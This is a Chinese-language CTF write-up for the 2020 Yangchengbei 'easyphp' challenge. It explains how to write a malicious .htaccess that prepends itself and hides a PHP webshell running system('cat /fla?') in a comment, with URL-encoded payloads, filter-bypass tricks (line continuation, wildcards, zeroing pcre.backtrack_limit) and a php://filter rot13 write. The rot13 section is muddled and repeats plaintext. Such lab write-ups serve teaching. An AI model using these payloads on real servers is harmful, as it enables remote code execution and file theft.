[羊城杯2020]easyphp

知识点：

1. .htaccess的利用

.htaccess利用方式
.htaccess相关问题

2.php://filter的利用

关于php://filter在file_put_contents中的利用_bfengj的博客-CSDN博客

解题：

核心代码：

file_put_contents($filename, $content . "\nHello, world");

filename只能由点和字母组成，content不能有flag和file。

乍一看挺简单的filename传a.php,content传<?php eval($_GET[1])?>再用蚁剑访问就行了。

但事实是想多了，确实能够将木马写入a.php,也可以访问a.php,但是a.php不能被解析直接将代码输出了。应该是服务端进行了配置，只对index.php进行解析，其他php文件不调用php引擎解析。

既然只有index.php才能被解析，就考虑如何将写入的恶意代码在index.php中执行。
.htaccess文件刚好可以实现这一点，我们可以在.htaccess中设置预包含，在index.php执行前将。htaccess包含，而在上传的htaccess文件中我们通过注释的方式将一句话木马写入，由于htaccess注释是用#和php不同，因此被包含进index.php后一句话木马就会被执行。

姿势一：

content传入的.htaccess内容

php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla?');?>\

1.通过第一个\绕过对file的过滤，htaccess中\作为连接符将上下两行连接为一行。即

php_value auto_prepend_fil\
e .htaccess
等于
php_value auto_prepend_file .htaccess

2.通过php_value auto_prepend_file .htaccess设置所有php文件运行前都包含.htaccess文件。

3.由于flag被过滤通过通配符?绕过。

4.由于代码在content后面接了"\nHello, world"，这样会在htaccess文件第4行多出一句Hello,world。这会使程序崩溃报500错误。因此在传入的content第3行末尾加一个\,将Hello,world连接到第3行，把它也当做注释，这样就不会报错了。

payload:

?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C

访问完payload后再次访问index.php即可得到flag。

姿势二：

还可以使用php://filter协议将加密后的content解密写入.htaccess。

由于filename会经过一个正则匹配，无法使用php://filter,这里我们先上传一个.htaccess文件将正则匹配次数设为0，这样匹配结果就会返回false从而绕过匹配。htaccess内容：

php_value pcre.backtrack_limit 0
php_value prec.jit 0
#\

注意：当php版本>=7时要设置php_value prec.jit 0

上传完这个htaccess后就可以在下一次访问使用filter协议了。继续上传第二个htaccess:

php_value auto_prepend_file .htaccess
#a<?php system('cat /fla?'); ?>\rot13加密后：php_value auto_prepend_file .htaccess
#a<?php system('cat /fla?'); ?>\

我们在content传入rot13加密后的内容来绕过过滤，再在filename上使用filter的rot13过滤器将密文解密后在写入。

payload:

第一次传入：
?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&filename=.htaccess第二次传入：
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C

再次访问index.php即可得到flag。

总结：

这里说一下为什么要方法二中为什么用rot13过滤器二不用base64,我开始也是先用的base64,发现成功不了，后来在本地测试发现由于后面拼接的"\nhello,world"不是base64编码，在经过fileter的base64解密后就会出现一些奇怪的字符，这就导致无法传入的数据无法写入htaccess。而rot13是简单的字母替换，即对26个字母替换为右移13位的字母，这样就不会产生乱字符。